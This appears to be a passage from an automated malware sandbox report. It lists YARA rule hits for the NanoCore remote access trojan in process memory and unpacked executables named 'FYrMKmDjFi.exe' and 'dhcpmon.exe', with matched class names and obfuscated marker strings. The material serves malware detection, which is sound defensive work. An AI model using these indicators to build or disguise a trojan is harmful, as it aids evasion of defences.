00000009.00000002.338337691.000000000263C000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x78929:$x1: NanoCore.ClientPluginHost 0x78966:$x2: IClientNetworkHost 0x7c499:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000009.00000002.338337691.000000000263C000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x78691:$a: NanoCore 0x786a1:$a: NanoCore 0x788d5:$a: NanoCore 0x788e9:$a: NanoCore 0x78929:$a: NanoCore 0x786f0:$b: ClientPlugin 0x788f2:$b: ClientPlugin 0x78932:$b: ClientPlugin 0x78817:$c: ProjectData 0x7921e:$d: DESCrypto 0x7add3:$i: get_Connected 0x79554:$j: #=q 0x79584:$j: #=q 0x795a0:$j: #=q 0x795d0:$j: #=q 0x795ec:$j: #=q 0x79608:$j: #=q 0x79638:$j: #=q 0x79654:$j: #=q 0x79698:$j: #=q 0x796b4:$j: #=q
00000004.00000002.567502998.0000000005860000.00000004.00020000.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf7ad:$x1: NanoCore.ClientPluginHost 0xf7da:$x2: IClientNetworkHost
00000004.00000002.567502998.0000000005860000.00000004.00020000.sdmp	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xf7ad:$x2: NanoCore.ClientPluginHost 0x10888:$s4: PipeCreated 0xf7c7:$s5: IClientLoggingHost
00000004.00000002.567502998.0000000005860000.00000004.00020000.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000C.00000002.354909333.0000000004199000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000C.00000002.354909333.0000000004199000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x4356d:$a: NanoCore 0x435c6:$a: NanoCore 0x43603:$a: NanoCore 0x4367c:$a: NanoCore 0x56d27:$a: NanoCore 0x56d3c:$a: NanoCore 0x56d71:$a: NanoCore 0x6fd3b:$a: NanoCore 0x6fd50:$a: NanoCore 0x6fd85:$a: NanoCore 0x435cf:$b: ClientPlugin 0x4360c:$b: ClientPlugin 0x43f0a:$b: ClientPlugin 0x43f17:$b: ClientPlugin 0x56ae3:$b: ClientPlugin 0x56afe:$b: ClientPlugin 0x56b2e:$b: ClientPlugin 0x56d45:$b: ClientPlugin 0x56d7a:$b: ClientPlugin 0x6faf7:$b: ClientPlugin 0x6fb12:$b: ClientPlugin
0000000E.00000002.358914418.0000000002EB1000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000E.00000002.358914418.0000000002EB1000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x693ff:$a: NanoCore 0x69458:$a: NanoCore 0x69495:$a: NanoCore 0x6950e:$a: NanoCore 0x69461:$b: ClientPlugin 0x6949e:$b: ClientPlugin 0x69d9c:$b: ClientPlugin 0x69da9:$b: ClientPlugin 0x5f585:$e: KeepAlive 0x698e9:$g: LogClientMessage 0x69869:$i: get_Connected 0x59835:$j: #=q 0x59865:$j: #=q 0x598a1:$j: #=q 0x598c9:$j: #=q 0x598f9:$j: #=q 0x59929:$j: #=q 0x59959:$j: #=q 0x59989:$j: #=q 0x599a5:$j: #=q 0x599d5:$j: #=q
00000009.00000002.338511027.00000000035B9000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xd0785:$x1: NanoCore.ClientPluginHost 0xd07c2:$x2: IClientNetworkHost 0xd42f5:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000009.00000002.338511027.00000000035B9000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000009.00000002.338511027.00000000035B9000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xd04ed:$a: NanoCore 0xd04fd:$a: NanoCore 0xd0731:$a: NanoCore 0xd0745:$a: NanoCore 0xd0785:$a: NanoCore 0xd054c:$b: ClientPlugin 0xd074e:$b: ClientPlugin 0xd078e:$b: ClientPlugin 0xd0673:$c: ProjectData 0xd107a:$d: DESCrypto 0xd8a46:$e: KeepAlive 0xd6a34:$g: LogClientMessage 0xd2c2f:$i: get_Connected 0xd13b0:$j: #=q 0xd13e0:$j: #=q 0xd13fc:$j: #=q 0xd142c:$j: #=q 0xd1448:$j: #=q 0xd1464:$j: #=q 0xd1494:$j: #=q 0xd14b0:$j: #=q
0000000F.00000002.377395934.0000000002CA1000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000F.00000002.377395934.0000000002CA1000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x693ff:$a: NanoCore 0x69458:$a: NanoCore 0x69495:$a: NanoCore 0x6950e:$a: NanoCore 0x69461:$b: ClientPlugin 0x6949e:$b: ClientPlugin 0x69d9c:$b: ClientPlugin 0x69da9:$b: ClientPlugin 0x5f585:$e: KeepAlive 0x698e9:$g: LogClientMessage 0x69869:$i: get_Connected 0x59835:$j: #=q 0x59865:$j: #=q 0x598a1:$j: #=q 0x598c9:$j: #=q 0x598f9:$j: #=q 0x59929:$j: #=q 0x59959:$j: #=q 0x59989:$j: #=q 0x599a5:$j: #=q 0x599d5:$j: #=q
0000000C.00000002.354775896.0000000003191000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000C.00000002.354775896.0000000003191000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x69447:$a: NanoCore 0x694a0:$a: NanoCore 0x694dd:$a: NanoCore 0x69556:$a: NanoCore 0x694a9:$b: ClientPlugin 0x694e6:$b: ClientPlugin 0x69de4:$b: ClientPlugin 0x69df1:$b: ClientPlugin 0x5f5cd:$e: KeepAlive 0x69931:$g: LogClientMessage 0x698b1:$i: get_Connected 0x5987d:$j: #=q 0x598ad:$j: #=q 0x598e9:$j: #=q 0x59911:$j: #=q 0x59941:$j: #=q 0x59971:$j: #=q 0x599a1:$j: #=q 0x599d1:$j: #=q 0x599ed:$j: #=q 0x59a1d:$j: #=q
Process Memory Space: FYrMKmDjFi.exe PID: 6504	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x58c8:$x1: NanoCore.ClientPluginHost 0x5905:$x2: IClientNetworkHost 0x9088:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x14003:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x254e0:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x43a6d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
Process Memory Space: FYrMKmDjFi.exe PID: 6504	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
Process Memory Space: FYrMKmDjFi.exe PID: 6504	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x55a5:$a: NanoCore 0x55b5:$a: NanoCore 0x5664:$a: NanoCore 0x5673:$a: NanoCore 0x5874:$a: NanoCore 0x5888:$a: NanoCore 0x58c8:$a: NanoCore 0x1066d:$a: NanoCore 0x1067f:$a: NanoCore 0x106bb:$a: NanoCore 0x21b4a:$a: NanoCore 0x21b5c:$a: NanoCore 0x21b98:$a: NanoCore 0x400d7:$a: NanoCore 0x400e9:$a: NanoCore 0x40125:$a: NanoCore 0x55f4:$b: ClientPlugin 0x56bd:$b: ClientPlugin 0x5891:$b: ClientPlugin 0x58d1:$b: ClientPlugin 0x10688:$b: ClientPlugin
Process Memory Space: FYrMKmDjFi.exe PID: 4324	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x8d72:$x1: NanoCore.ClientPluginHost 0x8daf:$x2: IClientNetworkHost 0xc532:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x174b5:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
Process Memory Space: FYrMKmDjFi.exe PID: 4324	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
Process Memory Space: FYrMKmDjFi.exe PID: 4324	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x8a7c:$a: NanoCore 0x8a8c:$a: NanoCore 0x8b17:$a: NanoCore 0x8b26:$a: NanoCore 0x8d1e:$a: NanoCore 0x8d32:$a: NanoCore 0x8d72:$a: NanoCore 0x13b1f:$a: NanoCore 0x13b31:$a: NanoCore 0x13b6d:$a: NanoCore 0x1f68e:$a: NanoCore 0x1f6ea:$a: NanoCore 0x1f769:$a: NanoCore 0x29111:$a: NanoCore 0x2938b:$a: NanoCore 0x293de:$a: NanoCore 0x29417:$a: NanoCore 0x2948a:$a: NanoCore 0x48994:$a: NanoCore 0x489a7:$a: NanoCore 0x489d9:$a: NanoCore
Process Memory Space: FYrMKmDjFi.exe PID: 6112	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe05:$x1: NanoCore.ClientPluginHost 0xe42:$x2: IClientNetworkHost 0x45c5:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0xf548:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x49255:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x5f883:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
Process Memory Space: FYrMKmDjFi.exe PID: 6112	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
Process Memory Space: FYrMKmDjFi.exe PID: 6112	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xae2:$a: NanoCore 0xaf2:$a: NanoCore 0xba1:$a: NanoCore 0xbb0:$a: NanoCore 0xdb1:$a: NanoCore 0xdc5:$a: NanoCore 0xe05:$a: NanoCore 0xbbb2:$a: NanoCore 0xbbc4:$a: NanoCore 0xbc00:$a: NanoCore 0x458bf:$a: NanoCore 0x458d1:$a: NanoCore 0x4590d:$a: NanoCore 0x5beed:$a: NanoCore 0x5beff:$a: NanoCore 0x5bf3b:$a: NanoCore 0xb31:$b: ClientPlugin 0xbfa:$b: ClientPlugin 0xdce:$b: ClientPlugin 0xe0e:$b: ClientPlugin 0xbbcd:$b: ClientPlugin
Process Memory Space: dhcpmon.exe PID: 6664	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x15848:$x1: NanoCore.ClientPluginHost 0x15885:$x2: IClientNetworkHost 0x18fe6:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x23f69:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x33701:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x554aa:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
Process Memory Space: dhcpmon.exe PID: 6664	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
Process Memory Space: dhcpmon.exe PID: 6664	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x1552e:$a: NanoCore 0x1553e:$a: NanoCore 0x155ed:$a: NanoCore 0x155fc:$a: NanoCore 0x157f4:$a: NanoCore 0x15808:$a: NanoCore 0x15848:$a: NanoCore 0x205d3:$a: NanoCore 0x205e5:$a: NanoCore 0x20621:$a: NanoCore 0x2fd6b:$a: NanoCore 0x2fd7d:$a: NanoCore 0x2fdb9:$a: NanoCore 0x51b14:$a: NanoCore 0x51b26:$a: NanoCore 0x51b62:$a: NanoCore 0x1557d:$b: ClientPlugin 0x15646:$b: ClientPlugin 0x15811:$b: ClientPlugin 0x15851:$b: ClientPlugin 0x205ee:$b: ClientPlugin
Process Memory Space: FYrMKmDjFi.exe PID: 6816	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x134d7:$x1: NanoCore.ClientPluginHost 0x13514:$x2: IClientNetworkHost 0x16c97:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x21c1a:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
Process Memory Space: FYrMKmDjFi.exe PID: 6816	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
Process Memory Space: FYrMKmDjFi.exe PID: 6816	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x131ee:$a: NanoCore 0x131fe:$a: NanoCore 0x13273:$a: NanoCore 0x13282:$a: NanoCore 0x13483:$a: NanoCore 0x13497:$a: NanoCore 0x134d7:$a: NanoCore 0x1e284:$a: NanoCore 0x1e296:$a: NanoCore 0x1e2d2:$a: NanoCore 0x2a197:$a: NanoCore 0x2a411:$a: NanoCore 0x2a464:$a: NanoCore 0x2a49d:$a: NanoCore 0x2a510:$a: NanoCore 0x310f6:$a: NanoCore 0x31109:$a: NanoCore 0x3113b:$a: NanoCore 0x36d51:$a: NanoCore 0x36d64:$a: NanoCore 0x36d96:$a: NanoCore
Process Memory Space: dhcpmon.exe PID: 6916	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe3c:$x1: NanoCore.ClientPluginHost 0xe79:$x2: IClientNetworkHost 0x45fc:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0xf57f:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x1f55c:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x375ea:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
Process Memory Space: dhcpmon.exe PID: 6916	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
Process Memory Space: dhcpmon.exe PID: 6916	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xb19:$a: NanoCore 0xb29:$a: NanoCore 0xbd8:$a: NanoCore 0xbe7:$a: NanoCore 0xde8:$a: NanoCore 0xdfc:$a: NanoCore 0xe3c:$a: NanoCore 0xbbe9:$a: NanoCore 0xbbfb:$a: NanoCore 0xbc37:$a: NanoCore 0x1bbc6:$a: NanoCore 0x1bbd8:$a: NanoCore 0x1bc14:$a: NanoCore 0x33c54:$a: NanoCore 0x33c66:$a: NanoCore 0x33ca2:$a: NanoCore 0xb68:$b: ClientPlugin 0xc31:$b: ClientPlugin 0xe05:$b: ClientPlugin 0xe45:$b: ClientPlugin 0xbc04:$b: ClientPlugin
Process Memory Space: dhcpmon.exe PID: 4700	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x18b2:$x1: NanoCore.ClientPluginHost 0x18ef:$x2: IClientNetworkHost 0x5072:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0xfff5:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
Process Memory Space: dhcpmon.exe PID: 4700	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
Process Memory Space: dhcpmon.exe PID: 4700	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x158f:$a: NanoCore 0x159f:$a: NanoCore 0x164e:$a: NanoCore 0x165d:$a: NanoCore 0x185e:$a: NanoCore 0x1872:$a: NanoCore 0x18b2:$a: NanoCore 0xc65f:$a: NanoCore 0xc671:$a: NanoCore 0xc6ad:$a: NanoCore 0x191fc:$a: NanoCore 0x19476:$a: NanoCore 0x194c9:$a: NanoCore 0x19502:$a: NanoCore 0x19575:$a: NanoCore 0x20173:$a: NanoCore 0x20186:$a: NanoCore 0x201b8:$a: NanoCore 0x25df1:$a: NanoCore 0x25e04:$a: NanoCore 0x25e36:$a: NanoCore
Process Memory Space: dhcpmon.exe PID: 5656	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x2179:$x1: NanoCore.ClientPluginHost 0x21b6:$x2: IClientNetworkHost 0x5ca7:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x10d2d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
Process Memory Space: dhcpmon.exe PID: 5656	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
Process Memory Space: dhcpmon.exe PID: 5656	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x1e46:$a: NanoCore 0x1e56:$a: NanoCore 0x1f15:$a: NanoCore 0x1f24:$a: NanoCore 0x2125:$a: NanoCore 0x2139:$a: NanoCore 0x2179:$a: NanoCore 0xd397:$a: NanoCore 0xd3a9:$a: NanoCore 0xd3e5:$a: NanoCore 0x2214f:$a: NanoCore 0x223cf:$a: NanoCore 0x22422:$a: NanoCore 0x2245b:$a: NanoCore 0x224ce:$a: NanoCore 0x291aa:$a: NanoCore 0x291bd:$a: NanoCore 0x291ef:$a: NanoCore 0x2eea9:$a: NanoCore 0x2eebc:$a: NanoCore 0x2eeee:$a: NanoCore
Click to see the 95 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.FYrMKmDjFi.exe.3dfce00.3.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0.2.FYrMKmDjFi.exe.3dfce00.3.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
0.2.FYrMKmDjFi.exe.3dfce00.3.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0.2.FYrMKmDjFi.exe.3dfce00.3.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
0.2.FYrMKmDjFi.exe.2d83754.1.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0.2.FYrMKmDjFi.exe.2d83754.1.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x101b7:$s5: IClientLoggingHost
0.2.FYrMKmDjFi.exe.2d83754.1.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q 0x10efc:$j: #=q 0x10f18:$j: #=q
10.2.dhcpmon.exe.3f8df50.3.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe38d:$x1: NanoCore.ClientPluginHost 0xe3ca:$x2: IClientNetworkHost 0x11efd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
10.2.dhcpmon.exe.3f8df50.3.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe105:$x1: NanoCore Client.exe 0xe38d:$x2: NanoCore.ClientPluginHost 0xf9c6:$s1: PluginCommand 0xf9ba:$s2: FileCommand 0x1086b:$s3: PipeExists 0x16622:$s4: PipeCreated 0xe3b7:$s5: IClientLoggingHost
10.2.dhcpmon.exe.3f8df50.3.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
10.2.dhcpmon.exe.3f8df50.3.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xe0f5:$a: NanoCore 0xe105:$a: NanoCore 0xe339:$a: NanoCore 0xe34d:$a: NanoCore 0xe38d:$a: NanoCore 0xe154:$b: ClientPlugin 0xe356:$b: ClientPlugin 0xe396:$b: ClientPlugin 0xe27b:$c: ProjectData 0xec82:$d: DESCrypto 0x1664e:$e: KeepAlive 0x1463c:$g: LogClientMessage 0x10837:$i: get_Connected 0xefb8:$j: #=q 0xefe8:$j: #=q 0xf004:$j: #=q 0xf034:$j: #=q 0xf050:$j: #=q 0xf06c:$j: #=q 0xf09c:$j: #=q 0xf0b8:$j: #=q
15.2.dhcpmon.exe.3cf4bed.3.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xb184:$x1: NanoCore.ClientPluginHost 0x24198:$x1: NanoCore.ClientPluginHost 0xb1b1:$x2: IClientNetworkHost 0x241c5:$x2: IClientNetworkHost
15.2.dhcpmon.exe.3cf4bed.3.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xb184:$x2: NanoCore.ClientPluginHost 0x24198:$x2: NanoCore.ClientPluginHost 0xc25f:$s4: PipeCreated 0x25273:$s4: PipeCreated 0xb19e:$s5: IClientLoggingHost 0x241b2:$s5: IClientLoggingHost
15.2.dhcpmon.exe.3cf4bed.3.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0.2.FYrMKmDjFi.exe.3dfce00.3.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe38d:$x1: NanoCore.ClientPluginHost 0xe3ca:$x2: IClientNetworkHost 0x11efd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0.2.FYrMKmDjFi.exe.3dfce00.3.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe105:$x1: NanoCore Client.exe 0xe38d:$x2: NanoCore.ClientPluginHost 0xf9c6:$s1: PluginCommand 0xf9ba:$s2: FileCommand 0x1086b:$s3: PipeExists 0x16622:$s4: PipeCreated 0xe3b7:$s5: IClientLoggingHost
0.2.FYrMKmDjFi.exe.3dfce00.3.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0.2.FYrMKmDjFi.exe.3dfce00.3.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xe0f5:$a: NanoCore 0xe105:$a: NanoCore 0xe339:$a: NanoCore 0xe34d:$a: NanoCore 0xe38d:$a: NanoCore 0xe154:$b: ClientPlugin 0xe356:$b: ClientPlugin 0xe396:$b: ClientPlugin 0xe27b:$c: ProjectData 0xec82:$d: DESCrypto 0x1664e:$e: KeepAlive 0x1463c:$g: LogClientMessage 0x10837:$i: get_Connected 0xefb8:$j: #=q 0xefe8:$j: #=q 0xf004:$j: #=q 0xf034:$j: #=q 0xf050:$j: #=q 0xf06c:$j: #=q 0xf09c:$j: #=q 0xf0b8:$j: #=q
4.2.FYrMKmDjFi.exe.3f84bed.5.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xb184:$x1: NanoCore.ClientPluginHost 0x24198:$x1: NanoCore.ClientPluginHost 0xb1b1:$x2: IClientNetworkHost 0x241c5:$x2: IClientNetworkHost
4.2.FYrMKmDjFi.exe.3f84bed.5.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xb184:$x2: NanoCore.ClientPluginHost 0x24198:$x2: NanoCore.ClientPluginHost 0xc25f:$s4: PipeCreated 0x25273:$s4: PipeCreated 0xb19e:$s5: IClientLoggingHost 0x241b2:$s5: IClientLoggingHost
4.2.FYrMKmDjFi.exe.3f84bed.5.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
9.2.FYrMKmDjFi.exe.371d858.2.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
9.2.FYrMKmDjFi.exe.371d858.2.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
9.2.FYrMKmDjFi.exe.371d858.2.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
9.2.FYrMKmDjFi.exe.371d858.2.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
9.2.FYrMKmDjFi.exe.371d858.2.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe38d:$x1: NanoCore.ClientPluginHost 0xe3ca:$x2: IClientNetworkHost 0x11efd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
9.2.FYrMKmDjFi.exe.371d858.2.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe105:$x1: NanoCore Client.exe 0xe38d:$x2: NanoCore.ClientPluginHost 0xf9c6:$s1: PluginCommand 0xf9ba:$s2: FileCommand 0x1086b:$s3: PipeExists 0x16622:$s4: PipeCreated 0xe3b7:$s5: IClientLoggingHost
9.2.FYrMKmDjFi.exe.371d858.2.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
